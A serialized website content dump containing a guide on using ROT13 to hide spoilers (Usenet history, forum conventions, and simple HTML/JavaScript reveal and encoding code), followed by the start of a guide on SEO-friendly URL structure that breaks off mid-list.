var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":181574},[181575,181576,181580,181585,181590,181595,181596,181597,181598],{"id":180928,"depth":337,"text":180929},{"id":180938,"depth":337,"text":180939,"children":181577},[181578,181579],{"id":180942,"depth":343,"text":180943},{"id":181031,"depth":343,"text":181032},{"id":181045,"depth":337,"text":181046,"children":181581},[181582,181583,181584],{"id":181049,"depth":343,"text":181050},{"id":181120,"depth":343,"text":181121},{"id":181254,"depth":343,"text":181255},{"id":181283,"depth":337,"text":181284,"children":181586},[181587,181588,181589],{"id":181287,"depth":343,"text":181288},{"id":181300,"depth":343,"text":181301},{"id":181316,"depth":343,"text":181317},{"id":181401,"depth":337,"text":181402,"children":181591},[181592,181593,181594],{"id":181405,"depth":343,"text":181406},{"id":181418,"depth":343,"text":181419},{"id":181430,"depth":343,"text":181431},{"id":181442,"depth":337,"text":181443},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How ROT13 appears in coding challenges, CTFs, and interview puzzles — pattern recognition, decoding strategies, and practice problems.",{"immutable":363},{"title":22551,"description":181599},"guides\u002Frot13-programming-puzzles","BhQDT00Pq6KMJ8XsWX8Hc-RCQENhqiO6ekOxmvdjWNM",{"id":181605,"title":181606,"body":181607,"date":2070,"description":182206,"extension":361,"meta":182207,"navigation":363,"path":182208,"readingTime":1710,"seo":182209,"stem":182210,"__hash__":182211},"guides\u002Fguides\u002Frot13-spoiler-obfuscation.md","ROT13 for Spoiler Obfuscation",{"type":8,"value":181608,"toc":182199},[181609,181612,181616,181619,181622,181625,181651,181655,181658,181668,181677,181683,181689,181693,181696,181774,182023,182026,182030,182033,182147,182154,182158,182161,182187,182190,182196],[16,181610,181611],{},"If you have ever seen a Reddit comment that looks like \"Gur fvta vf n yvggyr abyr\" and known you coulddecode itt if you wanted to, you have encountered ROT13 spoiler obfuscation. The practice of encoding spoilers with ROT13 is one of the oldest internet conventions still in active use — a social contract where writers hide content and readers choose whether to reveal it. This guide covers the history, conventions, and practical implementation of ROT13 spoiler protection.",[11,181613,181615],{"id":181614},"the-usenet-origins","The Usenet Origins",[16,181617,181618],{},"ROT13 spoiler obfuscation began on Usenet in the early 1980s. Usenet was a text-only discussion system organized into newsgroups, and posts were downloaded in bulk by newsreader clients. There was no \"click to reveal\" UI — every character of every post was visible immediately.",[16,181620,181621],{},"The problem was obvious: in a newsgroup discussing a movie or book, how do you talk about the ending without ruining it for people scrolling past? The solution was ROT13. Writers encoded the spoilery portion, and readers decoded it intentionally using a built-in newsreader function.",[16,181623,181624],{},"Key aspects of the Usenet convention:",[41,181626,181627,181633,181639,181645],{},[44,181628,181629,181632],{},[47,181630,181631],{},"Only the spoilery portion was encoded",", not the entire message. A post might say \"I loved the cinematography. The ending was a surprise: \" followed by the ROT13-encoded twist.",[44,181634,181635,181638],{},[47,181636,181637],{},"The encoding was signaled explicitly",". Writers prefaced encoded text with phrases like \"ROT13 for spoilers:\" or \"Spoiler space below.\"",[44,181640,181641,181644],{},[47,181642,181643],{},"Newsreader software included one-key ROT13 toggle",". Trn, rn, slrn, and other popular readers had a single keystroke to decode the current article.",[44,181646,181647,181650],{},[47,181648,181649],{},"The convention was self-enforcing",". Communities on rec.arts.movies and similar groups reinforced the practice through social norms, not technology.",[11,181652,181654],{"id":181653},"modern-platform-usage","Modern Platform Usage",[16,181656,181657],{},"The ROT13 convention migrated from Usenet to web forums, mailing lists, and eventually social media platforms. Current usage patterns:",[16,181659,181660,181663,181664,181667],{},[47,181661,181662],{},"Reddit",": Some subreddits still use ROT13 for spoilers in comments, though Reddit now has a native spoiler syntax (",[143,181665,181666],{},">!spoiler!>","). ROT13 persists in communities where the native spoiler tag is not supported or as a cultural artifact.",[16,181669,181670,181672,181673,181676],{},[47,181671,98477],{},": Users encode spoilers with ROT13 in channels where the ",[143,181674,181675],{},"\u002Fspoiler"," markup is unavailable or when they want the spoiler to be slightly harder to reveal accidentally.",[16,181678,181679,181682],{},[47,181680,181681],{},"Email lists",": Technical mailing lists sometimes use ROT13 for solutions to puzzles or answers to interview questions, since email clients lack native spoiler support.",[16,181684,181685,181688],{},[47,181686,181687],{},"Puzzle and riddle sites",": ARGs (alternate reality games) and puzzle hunts commonly use ROT13 as a basic encoding layer. It is intentionally easy to decode, making it a gateway cipher that introduces participants to more complex encodings.",[11,181690,181692],{"id":181691},"implementing-rot13-spoiler-tags","Implementing ROT13 Spoiler Tags",[16,181694,181695],{},"For web developers building community features, ROT13 spoiler support is straightforward to implement:",[135,181697,181699],{"className":6417,"code":181698,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"spoiler-rot13\" data-encoded=\"Gur orvat vf nyernql ubyr\">\n  \u003Cbutton class=\"spoiler-toggle\">Reveal spoiler\u003C\u002Fbutton>\n  \u003Cspan class=\"spoiler-text\" hidden>\u003C\u002Fspan>\n\u003C\u002Fdiv>\n",[143,181700,181701,181724,181744,181766],{"__ignoreMap":141},[1560,181702,181703,181705,181707,181709,181711,181714,181717,181719,181722],{"class":1562,"line":1563},[1560,181704,6431],{"class":1570},[1560,181706,7291],{"class":2484},[1560,181708,11423],{"class":1566},[1560,181710,7297],{"class":1570},[1560,181712,181713],{"class":5634},"\"spoiler-rot13\"",[1560,181715,181716],{"class":1566}," data-encoded",[1560,181718,7297],{"class":1570},[1560,181720,181721],{"class":5634},"\"Gur orvat vf nyernql ubyr\"",[1560,181723,6441],{"class":1570},[1560,181725,181726,181728,181730,181732,181734,181737,181740,181742],{"class":1562,"line":337},[1560,181727,11223],{"class":1570},[1560,181729,12250],{"class":2484},[1560,181731,11423],{"class":1566},[1560,181733,7297],{"class":1570},[1560,181735,181736],{"class":5634},"\"spoiler-toggle\"",[1560,181738,181739],{"class":1570},">Reveal spoiler\u003C\u002F",[1560,181741,12250],{"class":2484},[1560,181743,6441],{"class":1570},[1560,181745,181746,181748,181750,181752,181754,181757,181760,181762,181764],{"class":1562,"line":343},[1560,181747,11223],{"class":1570},[1560,181749,1560],{"class":2484},[1560,181751,11423],{"class":1566},[1560,181753,7297],{"class":1570},[1560,181755,181756],{"class":5634},"\"spoiler-text\"",[1560,181758,181759],{"class":1566}," hidden",[1560,181761,12441],{"class":1570},[1560,181763,1560],{"class":2484},[1560,181765,6441],{"class":1570},[1560,181767,181768,181770,181772],{"class":1562,"line":365},[1560,181769,11242],{"class":1570},[1560,181771,7291],{"class":2484},[1560,181773,6441],{"class":1570},[135,181775,181777],{"className":1607,"code":181776,"language":1609,"meta":141,"style":141},"function rot13(text) {\n  return text.replace(\u002F[a-zA-Z]\u002Fg, char => {\n    const base = char \u003C= 'Z' ? 65 : 97\n    return String.fromCharCode(((char.charCodeAt(0) - base + 13) % 26) + base)\n  })\n}\n\ndocument.querySelectorAll('.spoiler-rot13').forEach(el => {\n  const button = el.querySelector('.spoiler-toggle')\n  const span = el.querySelector('.spoiler-text')\n  const encoded = el.dataset.encoded\n\n  button.addEventListener('click', () => {\n    span.textContent = rot13(encoded)\n    span.hidden = false\n    button.hidden = true\n  })\n})\n",[143,181778,181779,181791,181817,181839,181877,181881,181885,181889,181912,181932,181952,181963,181967,181985,181997,182006,182015,182019],{"__ignoreMap":141},[1560,181780,181781,181783,181785,181787,181789],{"class":1562,"line":1563},[1560,181782,8648],{"class":1669},[1560,181784,181133],{"class":1566},[1560,181786,1688],{"class":1570},[1560,181788,140],{"class":2219},[1560,181790,9345],{"class":1570},[1560,181792,181793,181795,181797,181799,181801,181803,181805,181807,181809,181811,181813,181815],{"class":1562,"line":337},[1560,181794,9350],{"class":1669},[1560,181796,22718],{"class":1570},[1560,181798,22721],{"class":1566},[1560,181800,1688],{"class":1570},[1560,181802,9423],{"class":5634},[1560,181804,22728],{"class":1576},[1560,181806,9423],{"class":5634},[1560,181808,22733],{"class":1669},[1560,181810,1459],{"class":1570},[1560,181812,22738],{"class":2219},[1560,181814,9378],{"class":1669},[1560,181816,1571],{"class":1570},[1560,181818,181819,181821,181823,181825,181827,181829,181831,181833,181835,181837],{"class":1562,"line":343},[1560,181820,9385],{"class":1669},[1560,181822,22749],{"class":1576},[1560,181824,8186],{"class":1669},[1560,181826,22754],{"class":1570},[1560,181828,22757],{"class":1669},[1560,181830,22760],{"class":5634},[1560,181832,22763],{"class":1669},[1560,181834,22766],{"class":1576},[1560,181836,22769],{"class":1669},[1560,181838,22772],{"class":1576},[1560,181840,181841,181843,181845,181847,181849,181851,181853,181855,181857,181859,181861,181863,181865,181867,181869,181871,181873,181875],{"class":1562,"line":365},[1560,181842,9434],{"class":1669},[1560,181844,22779],{"class":1570},[1560,181846,22782],{"class":1566},[1560,181848,22785],{"class":1570},[1560,181850,22788],{"class":1566},[1560,181852,1688],{"class":1570},[1560,181854,5285],{"class":1576},[1560,181856,1733],{"class":1570},[1560,181858,9412],{"class":1669},[1560,181860,22799],{"class":1570},[1560,181862,9448],{"class":1669},[1560,181864,181215],{"class":1576},[1560,181866,1733],{"class":1570},[1560,181868,17990],{"class":1669},[1560,181870,22809],{"class":1576},[1560,181872,1733],{"class":1570},[1560,181874,9448],{"class":1669},[1560,181876,22816],{"class":1570},[1560,181878,181879],{"class":1562,"line":889},[1560,181880,22821],{"class":1570},[1560,181882,181883],{"class":1562,"line":1710},[1560,181884,1585],{"class":1570},[1560,181886,181887],{"class":1562,"line":1717},[1560,181888,1702],{"emptyLinePlaceholder":363},[1560,181890,181891,181893,181895,181897,181900,181902,181904,181906,181908,181910],{"class":1562,"line":1747},[1560,181892,11641],{"class":1570},[1560,181894,11644],{"class":1566},[1560,181896,1688],{"class":1570},[1560,181898,181899],{"class":5634},"'.spoiler-rot13'",[1560,181901,9368],{"class":1570},[1560,181903,11513],{"class":1566},[1560,181905,1688],{"class":1570},[1560,181907,11658],{"class":2219},[1560,181909,9378],{"class":1669},[1560,181911,1571],{"class":1570},[1560,181913,181914,181916,181918,181920,181923,181925,181927,181930],{"class":1562,"line":2507},[1560,181915,28057],{"class":1669},[1560,181917,33234],{"class":1576},[1560,181919,8186],{"class":1669},[1560,181921,181922],{"class":1570}," el.",[1560,181924,11786],{"class":1566},[1560,181926,1688],{"class":1570},[1560,181928,181929],{"class":5634},"'.spoiler-toggle'",[1560,181931,8252],{"class":1570},[1560,181933,181934,181936,181939,181941,181943,181945,181947,181950],{"class":1562,"line":2524},[1560,181935,28057],{"class":1669},[1560,181937,181938],{"class":1576}," span",[1560,181940,8186],{"class":1669},[1560,181942,181922],{"class":1570},[1560,181944,11786],{"class":1566},[1560,181946,1688],{"class":1570},[1560,181948,181949],{"class":5634},"'.spoiler-text'",[1560,181951,8252],{"class":1570},[1560,181953,181954,181956,181958,181960],{"class":1562,"line":2529},[1560,181955,28057],{"class":1669},[1560,181957,22961],{"class":1576},[1560,181959,8186],{"class":1669},[1560,181961,181962],{"class":1570}," el.dataset.encoded\n",[1560,181964,181965],{"class":1562,"line":2534},[1560,181966,1702],{"emptyLinePlaceholder":363},[1560,181968,181969,181972,181974,181976,181979,181981,181983],{"class":1562,"line":2542},[1560,181970,181971],{"class":1570},"  button.",[1560,181973,11766],{"class":1566},[1560,181975,1688],{"class":1570},[1560,181977,181978],{"class":5634},"'click'",[1560,181980,11774],{"class":1570},[1560,181982,11503],{"class":1669},[1560,181984,1571],{"class":1570},[1560,181986,181987,181990,181992,181994],{"class":1562,"line":2558},[1560,181988,181989],{"class":1570},"    span.textContent ",[1560,181991,7297],{"class":1669},[1560,181993,181133],{"class":1566},[1560,181995,181996],{"class":1570},"(encoded)\n",[1560,181998,181999,182002,182004],{"class":1562,"line":2570},[1560,182000,182001],{"class":1570},"    span.hidden ",[1560,182003,7297],{"class":1669},[1560,182005,162154],{"class":1576},[1560,182007,182008,182011,182013],{"class":1562,"line":6638},[1560,182009,182010],{"class":1570},"    button.hidden ",[1560,182012,7297],{"class":1669},[1560,182014,162183],{"class":1576},[1560,182016,182017],{"class":1562,"line":11615},[1560,182018,22821],{"class":1570},[1560,182020,182021],{"class":1562,"line":11621},[1560,182022,1626],{"class":1570},[16,182024,182025],{},"This approach stores the ROT13-encoded text in a data attribute and decodes it on the client when the user clicks. The spoiler text is never present in the DOM in plaintext until the user explicitly requests it — important for screen scrapers and search indexes that might otherwise surface the spoiler.",[11,182027,182029],{"id":182028},"server-side-encoding","Server-Side Encoding",[16,182031,182032],{},"For content management systems, encode spoilers at write time so the plaintext never reaches the database:",[135,182034,182036],{"className":1607,"code":182035,"language":1609,"meta":141,"style":141},"function encodeSpoilers(content) {\n  return content.replace(\n    \u002F\\[spoiler\\](.*?)\\[\\\u002Fspoiler\\]\u002Fgs,\n    (_, text) => `[spoiler-rot13]${rot13(text)}[\u002Fspoiler-rot13]`\n  )\n}\n\n\u002F\u002F Input: \"The killer was [spoiler]the butler[\u002Fspoiler]\"\n\u002F\u002F Output: \"The killer was [spoiler-rot13]gur ohgyre[\u002Fspoiler-rot13]\"\n",[143,182037,182038,182051,182062,182097,182125,182129,182133,182137,182142],{"__ignoreMap":141},[1560,182039,182040,182042,182045,182047,182049],{"class":1562,"line":1563},[1560,182041,8648],{"class":1669},[1560,182043,182044],{"class":1566}," encodeSpoilers",[1560,182046,1688],{"class":1570},[1560,182048,63339],{"class":2219},[1560,182050,9345],{"class":1570},[1560,182052,182053,182055,182058,182060],{"class":1562,"line":337},[1560,182054,9350],{"class":1669},[1560,182056,182057],{"class":1570}," content.",[1560,182059,22721],{"class":1566},[1560,182061,35957],{"class":1570},[1560,182063,182064,182067,182069,182072,182074,182076,182078,182081,182083,182086,182088,182090,182092,182095],{"class":1562,"line":343},[1560,182065,182066],{"class":5634},"    \u002F",[1560,182068,146163],{"class":11915},[1560,182070,182071],{"class":11919},"spoiler",[1560,182073,146166],{"class":11915},[1560,182075,1688],{"class":11919},[1560,182077,468],{"class":1576},[1560,182079,182080],{"class":1669},"*?",[1560,182082,1525],{"class":11919},[1560,182084,182085],{"class":11915},"\\[\\\u002F",[1560,182087,182071],{"class":11919},[1560,182089,146166],{"class":11915},[1560,182091,9423],{"class":5634},[1560,182093,182094],{"class":1669},"gs",[1560,182096,11943],{"class":1570},[1560,182098,182099,182101,182103,182105,182107,182109,182111,182114,182116,182118,182120,182122],{"class":1562,"line":365},[1560,182100,166527],{"class":1570},[1560,182102,23056],{"class":2219},[1560,182104,1459],{"class":1570},[1560,182106,140],{"class":2219},[1560,182108,1733],{"class":1570},[1560,182110,11503],{"class":1669},[1560,182112,182113],{"class":5634}," `[spoiler-rot13]${",[1560,182115,86285],{"class":1566},[1560,182117,1688],{"class":5634},[1560,182119,140],{"class":1570},[1560,182121,1525],{"class":5634},[1560,182123,182124],{"class":5634},"}[\u002Fspoiler-rot13]`\n",[1560,182126,182127],{"class":1562,"line":889},[1560,182128,139180],{"class":1570},[1560,182130,182131],{"class":1562,"line":1710},[1560,182132,1585],{"class":1570},[1560,182134,182135],{"class":1562,"line":1717},[1560,182136,1702],{"emptyLinePlaceholder":363},[1560,182138,182139],{"class":1562,"line":1747},[1560,182140,182141],{"class":1649},"\u002F\u002F Input: \"The killer was [spoiler]the butler[\u002Fspoiler]\"\n",[1560,182143,182144],{"class":1562,"line":2507},[1560,182145,182146],{"class":1649},"\u002F\u002F Output: \"The killer was [spoiler-rot13]gur ohgyre[\u002Fspoiler-rot13]\"\n",[16,182148,182149,182150,182153],{},"This pattern lets authors write in a natural ",[143,182151,182152],{},"[spoiler]...[\u002Fspoiler]"," syntax while the storage layer automatically converts to ROT13. The rendering layer then handles the decode-on-click interaction.",[11,182155,182157],{"id":182156},"accessibility-considerations","Accessibility Considerations",[16,182159,182160],{},"ROT13 spoilers create tension with accessibility:",[41,182162,182163,182175,182181],{},[44,182164,182165,182168,182169,182171,182172,468],{},[47,182166,182167],{},"Screen readers"," read the raw encoded text aloud, which is gibberish. Use ",[143,182170,96068],{}," to provide context: ",[143,182173,182174],{},"\u003Cspan aria-label=\"Spoiler hidden, click to reveal\">Gur ohgyre\u003C\u002Fspan>",[44,182176,182177,182180],{},[47,182178,182179],{},"Keyboard navigation"," users need a way to reveal the spoiler without a mouse. The toggle button should be focusable and activatable with Enter or Space.",[44,182182,182183,182186],{},[47,182184,182185],{},"Copy-paste"," should copy the encoded text, not the decoded version, until the user explicitly reveals it. This prevents accidental sharing of spoilers through quoting.",[16,182188,182189],{},"The social contract of ROT13 — that readers opt in to seeing the content — only works when the reveal mechanism is genuinely voluntary. Auto-decoding on hover or on page load violates that contract.",[16,182191,182192,182193,182195],{},"Encode and decode text with ROT13 at ",[98,182194,22565],{"href":22565},", which provides instant bidirectional conversion for spoiler text, puzzle hints, and any content where the reader should choose whether to see it.",[2043,182197,182198],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":182200},[182201,182202,182203,182204,182205],{"id":181614,"depth":337,"text":181615},{"id":181653,"depth":337,"text":181654},{"id":181691,"depth":337,"text":181692},{"id":182028,"depth":337,"text":182029},{"id":182156,"depth":337,"text":182157},"The tradition of using ROT13 to hide spoilers on Usenet, Reddit, and web forums.",{},"\u002Fguides\u002Frot13-spoiler-obfuscation",{"title":181606,"description":182206},"guides\u002Frot13-spoiler-obfuscation","swatL9cRaDCsE-bz-KZUMg9gJv0Y8YsWb_fIY1-L8GM",{"id":182213,"title":182214,"body":182215,"date":2070,"description":182734,"extension":361,"meta":182735,"navigation":363,"path":182736,"readingTime":1710,"seo":182737,"stem":182738,"__hash__":182739},"guides\u002Fguides\u002Fseo-friendly-urls.md","SEO-Friendly URLs: Structure, Keywords, and Best Practices",{"type":8,"value":182216,"toc":182719},[182217,182221,182224,182227,182231,182234,182240,182243,182278,182282,182285,182316,182320,182323,182384,182394,182396,182399,182422,182425,182429,182432,182446,182450,182453,182467,182470,182474,182477,182483,182493,182497,182500,182582,182589,182593,182658,182660,182688,182690,182708,182710],[11,182218,182220],{"id":182219},"why-url-structure-matters-for-seo","Why URL Structure Matters for SEO",[16,182222,182223],{},"URLs are one of the first things search engines parse when crawling your site. A well-structured URL communicates topic, hierarchy, and relevance — giving crawlers clear signals about your content.",[16,182225,182226],{},"Google has stated that URLs are a minor ranking factor. But \"minor\" compounds: clean URLs improve crawl efficiency, boost click-through rates, and reduce duplicate content issues. When every page on your site follows a consistent URL pattern, the cumulative SEO benefit is significant.",[11,182228,182230],{"id":182229},"the-ideal-url-hierarchy","The Ideal URL Hierarchy",[16,182232,182233],{},"Structure your URLs to mirror your site's content hierarchy. Each segment should narrow the topic:",[135,182235,182238],{"className":182236,"code":182237,"language":140},[138],"example.com\u002Fguides\u002Fseo\u002Furl-structure\n            │       │   └── specific page\n            │       └── subcategory\n            └── top-level section\n",[143,182239,182237],{"__ignoreMap":141},[16,182241,182242],{},"Rules to follow:",[41,182244,182245,182251,182266],{},[44,182246,182247,182250],{},[47,182248,182249],{},"Limit depth to 3–4 levels."," Deep nesting dilutes authority and confuses crawlers.",[44,182252,182253,6841,182256,1459,182259,1459,182262,182265],{},[47,182254,182255],{},"Group related content under a shared prefix.",[143,182257,182258],{},"\u002Fblog\u002F",[143,182260,182261],{},"\u002Fguides\u002F",[143,182263,182264],{},"\u002Ftools\u002F"," help users and bots understand context.",[44,182267,182268,6841,182271,182274,182275,468],{},[47,182269,182270],{},"Avoid unnecessary folders.",[143,182272,182273],{},"\u002Fblog\u002F2024\u002F03\u002F05\u002Fmy-post"," adds three segments that carry no SEO value. Prefer ",[143,182276,182277],{},"\u002Fblog\u002Fmy-post",[11,182279,182281],{"id":182280},"keywords-in-the-url","Keywords in the URL",[16,182283,182284],{},"Placing your target keyword in the URL slug provides a direct relevance signal. But placement and restraint matter:",[41,182286,182287,182300,182310],{},[44,182288,182289,6841,182292,182295,182296,182299],{},[47,182290,182291],{},"Front-load the keyword.",[143,182293,182294],{},"\u002Fseo-tips-for-beginners"," beats ",[143,182297,182298],{},"\u002Fbeginners-guide-to-seo-tips"," because the keyword appears first.",[44,182301,182302,182305,182306,182309],{},[47,182303,182304],{},"One primary keyword per slug."," Stuffing multiple keywords — ",[143,182307,182308],{},"\u002Fseo-search-engine-optimization-tips-tricks"," — looks spammy and hurts readability.",[44,182311,182312,182315],{},[47,182313,182314],{},"Keep slugs to 3–5 words."," Google typically displays only the first 50–60 characters of a URL in search results. Anything beyond that gets truncated.",[11,182317,182319],{"id":182318},"should-you-keep-stop-words","Should You Keep Stop Words?",[16,182321,182322],{},"Stop words are common words like \"a,\" \"the,\" \"is,\" \"and,\" \"for.\" Search engines largely ignore them in slugs.",[193,182324,182325,182337],{},[196,182326,182327],{},[199,182328,182329,182331,182334],{},[202,182330,23975],{},[202,182332,182333],{},"Slug With Stop Words",[202,182335,182336],{},"Slug Without Stop Words",[211,182338,182339,182354,182369],{},[199,182340,182341,182344,182349],{},[216,182342,182343],{},"How to Build a Website",[216,182345,182346],{},[143,182347,182348],{},"\u002Fhow-to-build-a-website",[216,182350,182351],{},[143,182352,182353],{},"\u002Fbuild-website",[199,182355,182356,182359,182364],{},[216,182357,182358],{},"The Best Tips for SEO",[216,182360,182361],{},[143,182362,182363],{},"\u002Fthe-best-tips-for-seo",[216,182365,182366],{},[143,182367,182368],{},"\u002Fbest-seo-tips",[199,182370,182371,182374,182379],{},[216,182372,182373],{},"A Guide to JSON Parsing",[216,182375,182376],{},[143,182377,182378],{},"\u002Fa-guide-to-json-parsing",[216,182380,182381],{},[143,182382,182383],{},"\u002Fjson-parsing-guide",[16,182385,182386,182387,182390,182391,9368],{},"Removing stop words shortens the URL without losing meaning. Most SEO experts recommend omitting them — but preserve them if removal changes the sense (e.g., ",[143,182388,182389],{},"\u002Fto-be-or-not-to-be"," makes no sense as ",[143,182392,182393],{},"\u002Fbe-not-be",[11,182395,98846],{"id":98845},[16,182397,182398],{},"Browsers and servers impose technical limits on URL length:",[41,182400,182401,182406,182411,182416],{},[44,182402,182403,182405],{},[47,182404,173131],{},": 2,083 characters maximum",[44,182407,182408,182410],{},[47,182409,5534],{},": Displays URLs up to 2 MB; truncates the address bar visually",[44,182412,182413,182415],{},[47,182414,173139],{},": 4,000–8,000 characters depending on configuration",[44,182417,182418,182421],{},[47,182419,182420],{},"Google",": Indexes URLs up to roughly 2,000 characters",[16,182423,182424],{},"For SEO, aim for slugs under 60 characters and total URLs under 100 characters. Shorter URLs earn higher click-through rates and are easier to share.",[11,182426,182428],{"id":182427},"case-sensitivity-and-consistency","Case Sensitivity and Consistency",[16,182430,182431],{},"URLs are technically case-sensitive per RFC 3986. In practice, most web servers treat them as case-insensitive on Windows and case-sensitive on Linux — which creates confusion.",[16,182433,182434,182435,182438,182439,1856,182442,182445],{},"Best practice: ",[47,182436,182437],{},"always use lowercase."," A page accessible at both ",[143,182440,182441],{},"\u002FAbout-Us",[143,182443,182444],{},"\u002Fabout-us"," risks duplicate content penalties. Enforce lowercase at the server level with 301 redirects.",[11,182447,182449],{"id":182448},"trailing-slashes-to-slash-or-not","Trailing Slashes: To Slash or Not",[16,182451,182452],{},"A URL with a trailing slash and one without are treated as two different pages by search engines:",[41,182454,182455,182461],{},[44,182456,182457,182460],{},[143,182458,182459],{},"example.com\u002Fguides\u002Fseo"," — one resource",[44,182462,182463,182466],{},[143,182464,182465],{},"example.com\u002Fguides\u002Fseo\u002F"," — a different resource",[16,182468,182469],{},"Pick one convention and enforce it consistently. Redirect the other version with a 301. Most frameworks default to the trailing slash for directory-like paths and omit it for file-like paths.",[11,182471,182473],{"id":182472},"pagination-urls","Pagination URLs",[16,182475,182476],{},"For paginated content, use clear, numbered URL patterns:",[135,182478,182481],{"className":182479,"code":182480,"language":140},[138],"example.com\u002Fblog?page=2       ← query parameter approach\nexample.com\u002Fblog\u002Fpage\u002F2       ← path segment approach\n",[143,182482,182480],{"__ignoreMap":141},[16,182484,182485,182486,1856,182489,182492],{},"Both work for SEO. The path segment approach creates cleaner URLs and helps users understand their position. Always implement ",[143,182487,182488],{},"rel=\"prev\"",[143,182490,182491],{},"rel=\"next\""," link headers (or canonical tags) to consolidate pagination signals.",[11,182494,182496],{"id":182495},"multilingual-url-strategies","Multilingual URL Strategies",[16,182498,182499],{},"When serving content in multiple languages, indicate the language in the URL:",[193,182501,182502,182514],{},[196,182503,182504],{},[199,182505,182506,182508,182510,182512],{},[202,182507,39330],{},[202,182509,133],{},[202,182511,7444],{},[202,182513,7447],{},[211,182515,182516,182535,182551,182567],{},[199,182517,182518,182521,182529,182532],{},[216,182519,182520],{},"Subdirectory + locale",[216,182522,182523,1459,182526],{},[143,182524,182525],{},"\u002Fen\u002Fabout",[143,182527,182528],{},"\u002Ffr\u002Fa-propos",[216,182530,182531],{},"Single domain, shares authority",[216,182533,182534],{},"Requires path-level routing",[199,182536,182537,182540,182545,182548],{},[216,182538,182539],{},"Subdomain",[216,182541,182542],{},[143,182543,182544],{},"en.example.com\u002Fabout",[216,182546,182547],{},"Clear language separation",[216,182549,182550],{},"Splits domain authority",[199,182552,182553,182556,182561,182564],{},[216,182554,182555],{},"Separate domain",[216,182557,182558],{},[143,182559,182560],{},"example.fr\u002Fa-propos",[216,182562,182563],{},"Full localization control",[216,182565,182566],{},"No shared authority",[199,182568,182569,182571,182576,182579],{},[216,182570,172822],{},[216,182572,182573],{},[143,182574,182575],{},"\u002Fabout?lang=fr",[216,182577,182578],{},"Simple to implement",[216,182580,182581],{},"Poor for SEO, crawling issues",[16,182583,182584,182585,182588],{},"The subdirectory approach is the most widely recommended. It keeps all language versions under one domain while making the locale explicit. Always pair it with ",[143,182586,182587],{},"hreflang"," tags to tell search engines which version serves which audience.",[11,182590,182592],{"id":182591},"common-url-mistakes","Common URL Mistakes",[41,182594,182595,182604,182616,182625,182631,182637,182646,182652],{},[44,182596,182597,23567,182600,182603],{},[47,182598,182599],{},"Using auto-increment IDs",[143,182601,182602],{},"\u002Fpost\u002F3847"," tells users and crawlers nothing about the content",[44,182605,182606,23567,182609,23755,182612,182615],{},[47,182607,182608],{},"Mixing cases",[143,182610,182611],{},"Example.com\u002FAbout-Us",[143,182613,182614],{},"example.com\u002Fabout-us"," creates duplicate content",[44,182617,182618,23567,182621,182624],{},[47,182619,182620],{},"Keyword stuffing",[143,182622,182623],{},"\u002Fcheap-hotels-discount-hotels-best-hotels"," is spammy and penalized",[44,182626,182627,182630],{},[47,182628,182629],{},"Leaving stop words in long URLs"," — makes URLs unnecessarily long",[44,182632,182633,182636],{},[47,182634,182635],{},"Inconsistent trailing slashes"," — splits page authority",[44,182638,182639,23567,182642,182645],{},[47,182640,182641],{},"Uncrawable URL 